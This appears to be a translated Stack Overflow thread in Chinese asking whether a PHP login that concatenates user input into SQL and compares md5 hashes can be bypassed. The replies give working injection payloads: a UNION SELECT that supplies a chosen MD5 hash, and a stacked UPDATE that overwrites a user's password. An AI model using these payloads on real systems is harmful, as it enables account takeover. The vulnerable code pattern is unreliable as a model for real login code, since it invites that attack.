3

我最近想到了这样的事情:

$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);

if (myql_num_rows($result) != 1) {
//Error
}

$data = mysql_fetch_array($result);

if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}

即使没有使用参数化查询或至少转义,我也想不出一个适当的 sql 注入,你可以用它来达到目的Welcome。您可能需要修改返回的密码,然后您可以将其 md5 值用作密码。

如果可能的话,有什么想法吗?

4

2 回答 2

8

为用户使用以下值:

obviouslyinvalidusername' union select MD5('password123') as password --

然后一个密码password123应该验证。我不知道此时您将登录哪个用户帐户,因为未显示该部分逻辑。

于 2013-01-10T14:51:27.573 回答
0
"'; UPDATE user SET password=MD5('fakepass') where username='username'"

这会将任意密码作为 md5 哈希值插入到数据库中。

于 2013-01-10T14:46:32.203 回答